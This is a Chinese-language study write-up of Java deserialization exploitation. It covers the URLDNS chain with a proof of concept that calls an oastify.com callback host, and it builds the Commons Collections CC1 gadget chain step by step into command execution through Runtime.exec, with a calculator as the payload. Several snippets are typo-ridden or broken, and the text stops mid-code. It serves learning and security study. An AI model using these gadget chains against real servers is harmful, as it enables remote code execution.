体上来说 序列化的本质都是为了数据传输 当两个进程进行通信时 就可以通过序列化来来进行传输

之所以会设计这种传输方式一是为了实现数据的持久化 通过序列化可以将数据永久地保存到键盘上 二是实现远程通信

java反序列化和我之前学习的php反序列化不同 php反序列化 php的序列化很明显的一个特征就是{}之类的 但是java原生的序列化数据都是二进制格式的 两者从格式上来说有本质上的区别

java序列化后的数据在十六进制当中很显著的一个特征就是它的数据开头是:

AC ED 00 05

base64编码之后是:rO0AB

java原生序列化

java提供了ObjectOutputStream来封装序列化逻辑 同时我们也要借助java原生的FileOutputStream()来进行操作

我们可以将FileOutputStream()理解为一个向硬件上写文件的管道 但是这个管道只能读懂二进制的内容直接明文传原始内容会报错 那么这时ObjectOutputStream()就登场了 这个类可以将我们传入的数据转换为二进制的内容 那么此时我们的管道就可以运行了

下面来看代码示例:

类文件Person.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class Person implements Serializable {

private String name;
private int age;

public Person(){

}
// 构造函数
public Person(String name, int age){
this.name = name;
this.age = age;
}

@Override
public String toString(){
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}

序列化文件:SerializationTest.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package src;


import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutput;
import java.io.ObjectOutputStream;

public class SerializationTest {
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static void main(String[] args) throws Exception{
Person person = new Person("aa",22);
System.out.println(person);
serialize(person);
}
}

以上就是一次简单的序列化代码实现 在序列化的类的中 序列化逻辑最重要的步骤就在于:

1
2
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);

首先来看new FileOutputStream(“ser.bin”) 这句的意思就是我们在java和硬盘之间建立了一根传输的管道 这根管道的目的地是硬盘上的ser.bin

new ObjectOutputStream(new FileOutputStream(“ser.bin”));也就是说 我们传入的数据会经过ObjectOutputStream的处理 将其转换为二进制数据 那么我们此时的前期准备就做好了

接下里就是触发的时候

oos.writeObject(obj);

当OutputStream里的writeObject被触发时 它会先检查目标对象有没有实现Serializable这个接口 这一点是非常非常重要的 如果目标类里面没有实现这个接口 那么程序就会报错 如果实现了该接口 那么就会沿着我们上述的准备步骤走

其中Serializable这个接口只是一个空接口 所以我们不需要具体实现什么 serializable用来标记当前类可以被序列化以及反序列化

接下来来看主函数:

1
2
3
4
5
public static void main(String[] args) throws Exception{
Person person = new Person("aa",22);
System.out.println(person);
serialize(person);
}

其实最主要的就是这一步:

1
serialize(person);

在我们写serialize方法时我们就明确声明了这里是静态方法了 所以这里就可以直接写 那么这样就实现了一次简单的java原生下的序列化操作:

image-20260725012914409

java原生反序列化

上面说了序列化 现在来学习反序列化 使用的Person代码上同

反序列化文件UnserializeTest.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package src;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class UnserializeTest {
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

public static void main(String[] args) throws Exception{
Person person = (Person)unserialize("ser.bin");
System.out.println(person);
}
}

这其中

1
2
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();

就是我们在序列化时的反过程 FileInputStream(Filename)表示这里会打开硬盘上的ser.bin文件 并将其文件内容存入内存当中 这里括号里面的Filename其实只是一个形参而已 我们可以根据实际情况去更改我们想要的文件 如果我们把序列化过程当中FileOutputStream看做是一个输水管输到硬盘上的话 那么这里的FileInputSteam()就是一个抽水管 把水从硬盘里抽到内存上

同样 外层的ObjectInputStream()就是把二进制的内容还原成java对象 但是在序列化里的ObjectOutputStream()是把对象成转换为二进制的内容

1
Object obj = ois.readObject();

当执行到readObject()时 就会经历以下步骤:

第一步:校验身份 它会先去读取文件的前四个字节 发现是AC ED 00 05 确认这是标准的java序列化文件

第二步: 执行类加载 它会在尝试在文件里面读取出字符串src.Person 如果没有找到就会报错

第三步:还原 直接在内存里面按照文件里的记录填入数值

第四步:最终返回一个拼装好的通用Object对象

再来看main函数当中的这句:

1
Person person = (Person) unserialize("ser.bin");

因为反序列化里的 readObject() 方法为了保证通用性,其规定的返回值类型是顶级父类 Object。所以我们在接收时,需要直接做一个强转,把它转换为我们预期中的 Person 类型的对象

需要注意的点

在反序列化的过程中 它的父类如果没有实现序列化接口 那么将需要提供无参构造函数来重新创建对象

一个实现serializable接口的子类也是可以被序列化的

静态成员变量是不能被序列化的 序列化针对的是对象属性 而静态的成员变量是属于类的

transient标识的对象成员变量不参与序列化 就比如我们在上述例子当中我们把name的属性前面加上一个transient 那么我们序列化后得到的值就是null

可能存在安全漏洞的形式

(1) 入口类的readObject直接调用危险方法 比如可以直接调用Runtime.getRuntime()

(2) 入口参数中包含可控类,该类有危险方法,readObject时调用

(3) 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用

(4) 构造函数/静态代码块等类加载时隐式执行

测试对象能否序列化或者反序列化的代码如下:

1
2
3
4
5
6
7
8
9
10
public class Test {
public static void testSerialize(Object obj, String filename) throws IOException, ClassNotFoundException {
// 序列化对象
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(filename));
out.writeObject(obj);
// 反序列化对象
ObjectInputStream in = new ObjectInputStream(new FileInputStream(filename));
in.readObject();
}
}

URLDNS链

原理

这是一个java反序列化漏洞当中相对来说比较简单的一个链子 先直接给链子:

1
2
3
4
5
Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()

首先我们要来学习HashMap类 这是一个java的内置类 它是一个键值对字典 往里面存东西时 必须以键值对的形式存进去 比如: map.put(恶意URL, “随便什么东西”); 当我们存进去它会执行两个方法 hash和hashcode 其中hashcode()是直接被写在object里面的 换句话说 每个类里面都有hashcode方法 当我们进入到hash这个方法时 它会往下调用到hashcode 然后我们借用反射来进行一些特殊的步骤 这里先不细讲 然后我们就HashMap里塞进了我们的恶意URL 序列化到目标服务器这里主要要让URL扮演key 因为HashMap只会去调用key里面的hashcode()

当服务器接受到序列化数据时会直接反序列化 但是这里又有一个问题了 不同版本 不同设备下的hash和hashcode计算都可能计算出不同的结果 那假设我们在上一步里面给自己算出来的座位号是8 把数据放进序号为8的座位里了 但是到了服务器这了算出来是9 那它去9里面取那不就报错了 为了防止这种情况 服务器在反序列化HashMap类时 会去调用它的readObject()方法 这个readObject()方法是被重写过的 它重写后的逻辑就是去调用每个key里面的hashcode方法 重新算“座位号” 完整的逻辑应该是readObject去调用putVal 它来执行放置键值对 当它要放置时 会先算出来号码再放 也就是先调用hash() 这时hash就会去让hashcode()先做一遍得到一个数字 但是hashcode()有时可能会出现两个不同数据算出来的值是一样的情况 为了防止这种情况hash再用它的算法再算一遍

这里就有一种特殊情况了当HashMap当中的key是一个URL时 为了计算的准确 服务器会执行一次dns解析去得到真实的ip地址 那么如果我们这里的URL是我们设计好的恶意的网站 那么就可以实现一次攻击了

具体到代码的话整个链子就是:

1
2
3
4
5
6
7
8
9
10
11
HashMap->readObject()

HashMap->hash()

URL->hashCode()

URLStreamHandler->hashCode()

URLStreamHandler->getHostAddress()

InetAddress->getByName()

image

image

image

image

然后getHostAddres类进去的话代码大概是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 这是作者漏截的 URL 类内部的源码
synchronized InetAddress getHostAddress() {
if (hostAddress != null)
return hostAddress;
if (host == null || host.equals("")) {
return null;
} else {
try {
// 👇 真正发起 DNS 请求的代码其实藏在这里!
hostAddress = InetAddress.getByName(host);
} catch (UnknownHostException ex) {
return null;
} catch (SecurityException se) {
return null;
}
}
return hostAddress;
}

这里真正执行dns请求的代码就是

1
hostAddress = InetAddress.getByName(host); 

复现

下面我们直接给出一种复现失败的方法:SerializationTest.java文件下添加如下代码

1
2
3
4
HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
hashmap.put(new URL("DNS生成的 URL,用dnslog就可以"),1);

serialize(hashmap);

先来对这段代码进行一个解释

HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();

实例化一个HashMap类 这里用泛型符号<>来规定了键值对的格式只能为url-整数

1
hashmap.put(new URL("DNS生成的 URL,用dnslog就可以"),1);

这一句就是执行put操作 把我们的键值对塞进HashMap里面 这里的1相当于我们这里的值为1

1
serialize(hashmap);

这句话的意思就是把我们刚才构造的那个HashMap类给序列化了

image-20260729225954888

上述这段代码看似没问题实际上我们实操的时候就会发现我们在序列化时就直接触发dns了 而执行反序列化时反而没有触发dns 这是为什么呢?

主要原因就出自于这段代码:
image-20260729230120637

我们要知道无论是在本地装箱(map.put)阶段,还是在目标服务器的反序列化阶段,只要触发了向 HashMap 中放置数据的逻辑就会完整的触发一遍我们上面一直在论述的过程 如果我们塞进去的URL是一个全新的 之前没有被解析过的 那么他的hashcode就默认是-1 在上面这张图里面我们很明显可以看见如果hashcode不等于-1就直接return hashcode而只有hashcode为-1时才会往下执行我们所说的那些dns步骤 那在我们错误示范当中 这里我塞进一个新的url 在我不做任何干预的情况那么这里的hashcode肯定就是一个默认的-1 那么这时就直接执行我们所说的dns那些操作了 那么到了反序列化 由于我们在序列化时就已经算过一遍它的hashcode了 这里就不会再单独计算了 故而不会触发dns那些操作了 换句话说就是我们准备的炸弹被提前引爆了

那么这里我们的思路就很明晰了 其一是我们要在序列化时让我们的hashcode不为-1 从而不触发dns操作 其二就是我们需要在反序列时将我们的hashcode变为-1 这样才能执行后续dns操作

下面直接给出poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public static void main(String[] args) throws Exception{

HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
// 这里不要发起请求
URL url = new URL("http://bl00nzimnnujskz418kboqxt9kfb30.oastify.com");
Class c = url.getClass();
Field hashcodefile = c.getDeclaredField("hashCode");
hashcodefile.setAccessible(true);
hashcodefile.set(url,1234);
hashmap.put(url,1);
// 这里把 hashCode 改为 -1; 通过反射的技术改变已有对象的属性
hashcodefile.set(url,-1);
serialize(hashmap);
}

这里就主要是用的反射的知识了 下面我们来逐行进行解析:

1
2
HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
URL url = new URL("http://bl00nzimnnujskz418kboqxt9kfb30.oastify.com");

第一行还是和上面一模一样的 第二行呢就是调用了URL类的构造方法 此时我们的hashcode为-1

1
2
3
4
Class c = url.getClass();                               // 1. 拿到 URL 类的底层设计图纸
Field hashcodefile = c.getDeclaredField("hashCode"); // 2. 在图纸上精准锁定那个名叫 'hashCode' 的私有引爆开关
hashcodefile.setAccessible(true); // 3. 暴力破坏 Java 的 private 私有权限,允许强行修改
hashcodefile.set(url, 1234); // 4. 【核心操作】强行把开关状态从 -1 涂改成 1234!

这几行就是我们使用反射 将把url的hashcode设置为1234 那么这时我们就实现了一次绕过了

1
hashmap.put(url,1);

这里就把我们的URL塞进去了 注意这里的1是指的这个键值对当中的值 而不是hashcode

1
2
// 这里把 hashCode 改为 -1; 通过反射的技术改变已有对象的属性
hashcodefile.set(url, -1);

上面我们已经在put之前把hashcode改了 这时键值对已经塞进去了 然后我们再改回-1 这样服务器接受到序列化数据时hashcode就还是-1了 从而继续执行我们的上述操作

反射执行系统命令

直接执行命令:

1
2
String[] command = {"open","-a","/System/Applications/Calculator.app/Contents/MacOS/Calculator"};
Runtime.getRuntime().exec(command);

反射执行命令:

1
2
3
4
Class clazz = Runtime.class;
Method getRuntime = clazz.getDeclaredMethod("getRuntime", null);
Runtime runtime = (Runtime)getRuntime.invoke(null, null);
runtime.exec("open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator");

对于反射执行命令这里仔细讲一下:
第一行

1
Class clazz = Runtime.class;

获取Runtime这个类 赋值给clazz

第二行则是为了获取getRuntime这个方法 因为Runtime在获取实例时不支持直接new 想要获取实例就只能使用getRuntime方法

1
Method getRuntime = clazz.getDeclaredMethod("getRuntime", null);

第三行就是借用invoke来执行 getRuntime方法 在这里先复习一下invoke的使用方法

Object 返回值 = 某个方法对象.invoke(执行对象, 参数1, 参数2, …);

1
Runtime runtime = (Runtime)getRuntime.invoke(null, null);

这里的invoke参数的第一个参数是null是因为这里的getRuntime是一个静态方法 静态方法作用的对象是整个类 所以直接null 第二个参数是null是因为我们这里调用的是无参数的getRuntime方法

第四行:

1
runtime.exec("open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator");

我们通过第三行已经拿到了一个名为runtime的Runtime实例了 我们就直接调用该类下面的exec方法来命令执行

CC1链

前置知识

CC是什么

cc的全称叫做Apache Commons Collections 在java当中 程序员需要处理各种集合 就比如上面urldns链当中的HashMap 但是java自带的集合功能又比较基础 于是apache官方就写了一个工具箱 它的名字叫做Common Collection也就是我们所说的cc

InvokerTransformer类

这个类是cc包当中的一个类 在cc当中有一个非常核心的接口叫做Transformer 就和它的名字一样 这个接口的设计理念就是进去一个东西出来另一个东西 那么InvokeTransformer类就是一个我们往里面丢对象 它就会自动去调用这个对象的某个方法 并且把方法的返回值给吐出来

这个有三个核心的参数:

iMethodName、iParamTypes和iArgs 其分别对应方法名 参数类型 具体参数 我们只需要对应赋值就可以实现对某个方法的执行了

  • 使用InvokerTransformer对象调用transform()方法,会以反射的方式执行任意方法。
  • img

下面来举几个例子

假如我这里想要使用toUpperCase()方法 我们知道这方法不需要什么特定的参数

1
2
3
4
5
6
7
8
9
10
11
InvokerTransformer upperMachine = new InvokerTransformer(

"toUpperCase",

new Class[0], // 参数类型:空

new Object[0] // 具体参数:空

);

Object result = upperMachine.transform("hello");

这里的hello就是上面图片input那里 我们要给input传一个类的实例对象

假设我要弹计算器:

1
2
3
4
5
6
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class} ,
new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Runtime runtime = Runtime.getRuntime();
invokerTransformer.transform(runtime);

这里需要注意当我们给花括号当中塞具体的数据时就不能再在[]写具体的数字了 上面这段代码其实就等价于

1
2
3
4
5
Runtime runtime = Runtime.getRuntime();
// invokerTransformer.transform()内部执行了
Class cls = runtime.getClass();
Method method = cls.getMethod("exec", new Class[]{String.class});
return method.invoke(runtime, new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"});

ChainedTransformer类

img

这个类在是实例化时需要传入一个Transformer数组 并且赋值给iTransformers 使用ChainedTransformer调用transform时 会去挨个执行数组当中各个元素的transform方法 并且把前一个元素的输出当做下一个元素的输入 那么既然要调用原速度transform方法 那肯定就需要借助例如我们上面所说的InvokeTransform这种带有transform方法的类了

下面来举一个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class HackerPOC {
public static void main(String[] args) {
==================

// 机器A:它的任务是在图纸上找到“getRuntime”这个按钮
Transformer machineA = new InvokerTransformer(
"getMethod", // 要调用的方法名
new Class[] {String.class, Class[].class}, // 参数类型:一个是字符串(方法名),一个是 Class 数组(该方法的参数类型)
new Object[] {"getRuntime", new Class[0]} // 实际参数:找名叫 getRuntime 的方法,且它没有参数
);

// 机器B:它的任务是按下按钮,拿到一张真实的 Runtime 通行证
Transformer machineB = new InvokerTransformer(
"invoke", // 要调用的方法名
new Class[] {Object.class, Object[].class}, // 参数类型:一个是对象(执行主体),一个是 Object 数组(传给该方法的参数)
new Object[] {null, new Object[0]} // 实际参数:执行静态方法传 null,不需要传参传空数组
);

// 机器C:它的任务是拿着通行证,执行系统命令弹计算器
Transformer machineC = new InvokerTransformer(
"exec",
new Class[] {String.class},
new Object[] {"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"}
);

// ================== ==================

// 黑客将三台机器按极其严格的顺序放入数组(履带)
Transformer[] deadlyChain = new Transformer[] {
machineA,
machineB,
machineC
};

// 将履带交给流水线经理
Transformer chain = new ChainedTransformer(deadlyChain);


// ================== ==================

System.out.println("[+] 炸弹已就绪,准备投入原材料...");

// 黑客往流水线入口扔进一张 Runtime 的图纸(原材料),按下了启动开关!
chain.transform(Runtime.class);

System.out.println("[+] 攻击完成!");
}
}

ConstantTransformer类

这个类是一个比较特殊的类 当我们在实例化时会给他的构造方法传参 然后构造方法会将我们传参的值赋值给iConstant

它的transform方法就是无论你给他传的是什么它都只给你返回一个iConstant的值

对上三类的总结

上面的三个类都通过不同的方法来执行transform 并且这三个类都实现了Serializable接口 也就是说他们都可以进行序列化和反序列化

1
InvokerTransformer.transform()
  • 以反射方式执行任意方法
1
ChainedTransformer.transform()
  • 遍历链内部的所有Transformer执行transform()
  • 前一个执行transform()的结果当做后一个transform()方法的参数传入
1
ConstantTransformer.transform()
  • 返回固定值,值为构造方法传入的参数值

环境搭建

cc链分析

上面的学习我们知道了我们是可以通过InvokeTransformer的transform方法来进行命令执行 只知道这个还远远不够 我们需要知道如何才能调用这个transform方法 并且最终要落脚到readObject方法上

所以我们先来找哪里会调用transform方法

我们需要找到不同名字调用transform的地方 如果是transform来调用transform的话那就是个无限循环

我们找到了TransformedMap中有部分方法调用了transform方法 我们进入查看 这里以checkSetValue方法为例子:

img

那么这个时候就会出现问题了 首先checkSetValue方法是一个protected属性 外部是无法直接调用的 第二个问题就是这里是valueTransformer去调用transform 所以这里我们还需要去找valueTransform

那么在这里先梳理一下 如果我们可以调用checkSetValue方法并且valueTransformer类存在那这里就会调用transform方法

然后我们来找一下valueTransformer的位置 可以看见:

image-20260802234206171

我们跟进一下就会看见:

image-20260802234311010

可以看见这里是在TransformedMap的构造方法当中进行了一个赋值 那这里又可以构造方法是protected的 也就是只有同一个包当中的类才可以访问 我们找一下看有没有其他地方会调用这个构造方法 就在当前这个类里面找 结果我们发现了一处地方:
image-20260802234531265

也就是说 在TransformMap类当中有一个静态方法 并且是public属性的 它就执行了该类的构造方法

那么到这里我们就可以总结一下了:

1.调用decorate方法 使其调用TransformedMap的构造方法

2.由于上面第一步调用了构造方法 而这里构造方法会给valueTransformer赋值

3.在上面我们又说到了TransformedMap的checkSetValue方法会去调用valueTransfoemer的tansform方法 那么此刻就形成了一个闭环了

那我们这里就来仔细看看这里的decorate:
首先这里要求的三个参数 格式分别为Map Transformer Transformer这其中第三个参数是尤为重要的 因为它会赋值给this.valueTranformer 那我们这里就可以有一个想法了 我们上面说到InvokeTransformer的transform方法是可以命令执行的 那我们在这里给第三个参数赋值成InvokeTransformer的话 再加上一些操作是不是就可以命令执行了 有了这个大方向 我们就继续往下做

我们从decorate入手 挨个尝试调用 初步的代码如下:

1
2
3
4
5
6
7
8
9
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"}
);
Runtime runtime = Runtime.getRuntime();
// invokerTransformer.transform(runtime); // 这里不能再用了(前面有原因介绍)
Map map = new HashMap();
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);

只有这些还不够 因为这里只是把decorate方法给调用了 我们只是通过该方法把valueTransformer的值给赋了 但是还是没有调用transform方法 这里之所以要传的是InvokeTransformer是因为首先这个类实现了Transformer接口所以类型符合 然后就是根据我们上面的分析我们这里的着力点是transform方法 我们又知道InvokeTransformer的transform方法是可以命令执行的 所以我们这里填的才是InvokeTransform类

这里我们再回到checkSetValue也就是我们最开始看见对transform方法调用的那个方法 我们看看哪里调用了checkSetValue方法

img

可以看见 在AbstractInputCheckedMapDecorator类里面的MapEntry类的setValue方法调用了该方法 可以看见这里是parent.checkSetValue 那我们还得去找parent类 以及去找这个setValue方法是如何被调用的

img

我们在这里先对values进行梳理 大体上来说对于value的传递流程:

1
setValue(A)-->checkSetValue(A)-->transform(A)

也就是说我们这里的A 最终会传给transform方法的input 那我们这里就得传Runtime类才能命令执行

接下来我们来看setValue是如何被调用的 我们来查找一下setValue方法的调用

img

我们发现AnnotationInvocationHandler#readObject方法中有调用 这里就很重要 因为是在readObject方法里面被调用了 那这里就成为了我们的切入点了

img

我们来看看AnnotationInvocationHandler类的构造方法 它需要两个类 一个Annotation类 一个Map:
img

什么是Annotation的类?

Annotation是注解,就是我们平时用的@Override、@Test、@Target这些,而为了通用性,我们用一个jdk自带的,比如@Override。

这里Map就很重要了 因为我们从readObject方法当中可以得知它会将Map里面的entrySet挨个执行 这就 当格式不符合要求时 就会调用setValue方法

这里我们就需要回顾以上了:

setValue 根本就不是写在 TransformedMap 里的,它是写在它的父类 AbstractInputCheckedMapDecorator 的内部类 MapEntry 里的

也就是说我们借助AnnotationInvocationHandler#readObject去调用TransformedMap的setValue方法 从而会继续往下调用checkSetValue方法 进而调用transform方法

那么这里我要传的Map是谁就已经很明确了

而memberValues的赋值就是直接在构造函数里面出现的:

img

但是我们可以发现这里的AnnotationInvocationHandler类时没有被修饰的 也就是说这个类是default类型 我们只能通过反射来获取

1
2
3
Class cl = Class.forName("sun.reflect.annotation>AnnotationInvocationHandler");
Constructor co = cl.getDeclaredConstructor(Class.class,Map.class);
Object obj = co.newInstance(Override.class,transformedMap);

那么我们这里把两段的代码合并起来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
@Test
public void test3() throws Exception {
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class} ,
new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Runtime runtime = Runtime.getRuntime();

HashMap map = new HashMap();
map.put("key","value");

Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Override.class, transformedMap);

serialize(obj); // 序列化
unserialize("ser1.bin"); // 反序列化
}

//序列化方法
public static void serialize(Object object) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser1.bin"));
oos.writeObject(object);
}

//反序列化方法
public static void unserialize(String filename) throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}

执行就会发现这里有问题 问题就出在我们在传的是一个Override 而if语句写的是:

img

那么这个memberType又是怎么来的呢?

img

memberType的值和下面三行代码有关

1
2
3
annotationType = AnnotationType.getInstance(type);
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
Class<?> memberType = memberTypes.get(name);

同时这里附上@Override类的代码:

1
2
3
public @interface Override {
// 里面是空的!啥也没有!
}

可以看见里面啥也没有 这里对memberType做一个讲解 这个方法呢会对一个类的源码进行扫描 提取里面的属性名和属性类型

我们看源码对比就懂了: 如果你传的是 @Retention,它的 Java 官方源码是这样的:

Java

1
2
3
public @interface Retention {
RetentionPolicy value(); // 注意这行,它定义了一个属性,名字叫 value,类型是 RetentionPolicy
}

当系统执行 annotationType.memberTypes() 时,它会去读上面这段源码,然后把读到的结果生成一个 Map(字典)返回来。 返回的这个 Map 长这样:

  • 键(Key):提取出来的属性名,即 "value"(String类型)
  • 值(Value):提取出来的属性类型,即 RetentionPolicy.class(Class类型)

那么这里如果是Override的话就很明晰了 肯定是null因为类里面啥也没有 而get方法是通过给的键去找到值并返回 那么我们再回到代码

Class<?> memberType = memberTypes.get(name);

那从一个null里面找值并且返回那不还是null 而第一个if明确标注了不允许null 所以我们这里执行就失败了

那我们这里把Override换成有内容的Target注解

img

新的代码就变成了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class} ,
new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Runtime runtime = Runtime.getRuntime();

HashMap map = new HashMap();
map.put("key","value");

Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance( Target.class , transformedMap);

serialize(obj);
unserialize("ser1.bin");

但是这段代码还是会出错 核心原因就在于我们这里这里其实还是null 问题就出现在这一段代码

1
Class<?> memberType = memberTypes.get(name);

那么这个name其实是出现在java原生的readObject当中的

1
2
3
4
5
6
7
8
9
// 这是运行在受害者服务器上的 JDK 底层源码,不是你写的!
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {

// 🚨 铁证在这里!盯住这个等号!
String name = memberValue.getKey();

// 然后系统拿着查
Class<?> memberType = memberTypes.get(name);
}

而Target类当中没有key的属性 类里面只有一个属性就是value 那我们把上面的部分代码改一下:

1
map.put("value","I am leyilea!");

那么新的代码又变成了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class} ,
new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Runtime runtime = Runtime.getRuntime();

HashMap map = new HashMap();
map.put("value","I am leyilea!");

Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Target.class, transformedMap);

serialize(obj);
unserialize("ser1.bin");

但是上述的这段代码就有很多问题了 首先第一个问题就是Runtime类没有实现Serializable接口 也就是它是不能被序列化的 其次就是我们这里也没有把Runtime类塞进我们构造的链子里 所以这个链子还是失败的

所以这个时候我们就要想 怎么才能在AnnotionInvocationHandler在反序列化时能够执行生成一个Runtime的对象呢

这里就需要调用InvokeTransformer了 因为它是可以命令执行的:

1
2
3
4
5
6
7
8
9
Class aclass = Runtime.class;
InvokeTransformer former1 = new InvokeTransformer("getDeclaredMethod","new Class[]{String.class,Class[].class}","new Object[]{"getRuntime",null"});
Method getRuntime = former1.transform(aclass);

InvokeTransformer former2 = new InvokeTransformer("invoke","new Class[]{Object.class,Class[].class},new Object[]{"null",null}");
Runtime runtime = new InvokeTransformer.transform(getRuntime);

InvokeTransformer former3 = new InvokeTransformer("exec",new Class[]{Sreting.class},new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"});
InvokeTransformer.transform(runtime);

其中former1是我们在获取getRuntime方法 former2是我们在执行getRuntime方法从而得到一个Runtime类的实例

former3则是我们执行命令了

那么到这一步我们就会想 难道到时候我们要调用三次decorate吗 这里就需要我们ChainedTransformer类登场了 在上面我们说了在这个类的transform方法会将前一个的输出作为下一个的输入

那这里我们这里就先简单的生成一个符合我们上述条件的ChainedTransformer链:

1
2
3
4
5
Transformer[] ty = new Transformer[]{new InvokeTransformer("getDeclaredMethod","new Class[]{String.class,Class[].class}","new Object[]{"getRuntime",null"}),
new InvokeTransformer("invoke","new Class[]{Object.class,Class[].class},new Object[]{"null",null}"),
new InvokeTransformer("invoke","new Class[]{Object.class,Class[].class},new Object[]{"null",null}")
};
ChainedTransformer ch = new ChainedTransformer(ty);

这里其实可以将chainedTransformer传进去,传进去之后,会调用chainedTransformer.transform() ,

这个时候,会调用ChainedTransformer的transform()方法,即遍历transform并执行不同transform的transform()方法。(ChainedTransformer类特点忘记的,回去看下咯)

OK ! 将TransformedMap.decorate(map, null, invokerTransformer)修改成TransformedMap.decorate(map, null, chainedTransformer)

此时的完整代码是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Class aClass = Runtime.class;
// 先来一个 transforms数组,整理下代码
Transformer[] TransformerArray = new Transformer[]{
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer(
"exec",
new Class[]{String.class} ,
new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
// 生成 ChainedTransformer 链
ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);

HashMap map = new HashMap();
map.put("value","I am leyilea!");

Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer );

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Target.class, transformedMap);

serialize(obj);
unserialize("ser1.bin");

但是此时还是不行,因为我们会发现在ChainedTransformer这个数里面第一个InvokeTransformer的transform方法是没有参数的 我们要给它传一个Runtime.class进去 那么这个时候就轮到我们之前说的ConstantTransformer类登场了

第一步:构造方法(存货) 你写了 new ConstantTransformer(Runtime.class)。 底层源码干了啥?

Java

1
2
3
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn; // 它把 Runtime.class 揣进了自己的兜里
}

第二步:transform 方法(发货) 当它的 transform 方法被调用时,底层源码是这样的:

Java

1
2
3
public Object transform(Object input) {
return this.iConstant; // 根本不管你传进来的 input 是啥,直接把兜里的 Runtime.class 掏出来返回!
}

那么完整的代码就变成了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Transformer[] TransformerArray = new Transformer[]{
